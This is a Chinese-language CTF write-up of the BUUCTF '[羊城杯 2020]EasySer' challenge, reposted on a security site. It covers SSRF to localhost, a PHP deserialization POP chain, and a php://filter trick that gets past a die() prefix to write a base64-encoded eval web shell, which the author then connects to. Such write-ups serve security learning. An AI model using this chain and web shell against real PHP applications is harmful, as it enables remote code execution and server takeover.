BUUCTF-[羊城杯 2020]EasySer-解题步骤详解

admin 2022年7月6日18:12:02评论173 views字数 1372阅读4分34秒阅读模式

BUUCTF-[羊城杯 2020]EasySer-解题步骤详解

知识点:
php死亡绕过
反序列化构造

打开题目

BUUCTF-[羊城杯 2020]EasySer-解题步骤详解


敏感目录扫描,发现robots.txt

BUUCTF-[羊城杯 2020]EasySer-解题步骤详解


访问star1.php

BUUCTF-[羊城杯 2020]EasySer-解题步骤详解


思路,提示给的是百度的地址,我们考虑访问内网地址127.0.0.1,横向穿透
得到源码

<?phperror_reporting(0);if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {    highlight_file(__FILE__);} $flag='{Trump_:"fake_news!"}';
class GWHT{ public $hero; public function __construct(){ $this->hero = new Yasuo; } public function __toString(){ if (isset($this->hero)){ return $this->hero->hasaki(); }else{ return "You don't look very happy"; } }}class Yongen{ //flag.php public $file; public $text; public function __construct($file='',$text='') { $this -> file = $file; $this -> text = $text; } public function hasaki(){ $d = '<?php die("nononon");?>'; $a= $d. $this->text; @file_put_contents($this-> file,$a); }}class Yasuo{ public function hasaki(){ return "I'm the best happy windy man"; }}

这里利用php伪协议进行死亡绕过(die()),构造pop链

<?php
class GWHT{ public $hero;}
class Yongen{ //flag.php public $file; public $text;}
$a = new GWHT();$a->hero = new Yongen();$a->hero->file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=nn.php";$a->hero->text = "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+";echo urlencode(serialize($a));

查看wp知道有一个参数c是反序列化的入口
这里需要注意的是拼接后的字符串的长度可能不能正常base64解码,需要补齐测试
用蚁剑成功连接,在根目录找到flag

BUUCTF-[羊城杯 2020]EasySer-解题步骤详解

原文来自简书博主「kum1ko」|侵删


BUUCTF-[羊城杯 2020]EasySer-解题步骤详解

BUUCTF-[羊城杯 2020]EasySer-解题步骤详解


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习BUUCTF-[羊城杯 2020]EasySer-解题步骤详解BUUCTF-[羊城杯 2020]EasySer-解题步骤详解。想加入我们就给我们留言吧BUUCTF-[羊城杯 2020]EasySer-解题步骤详解

BUUCTF-[羊城杯 2020]EasySer-解题步骤详解

BUUCTF-[羊城杯 2020]EasySer-解题步骤详解

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!

BUUCTF-[羊城杯 2020]EasySer-解题步骤详解

原文始发于微信公众号(寰宇卫士):BUUCTF-[羊城杯 2020]EasySer-解题步骤详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月6日18:12:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BUUCTF-[羊城杯 2020]EasySer-解题步骤详解http://cn-sec.com/archives/1161793.html

发表评论

匿名网友 填写信息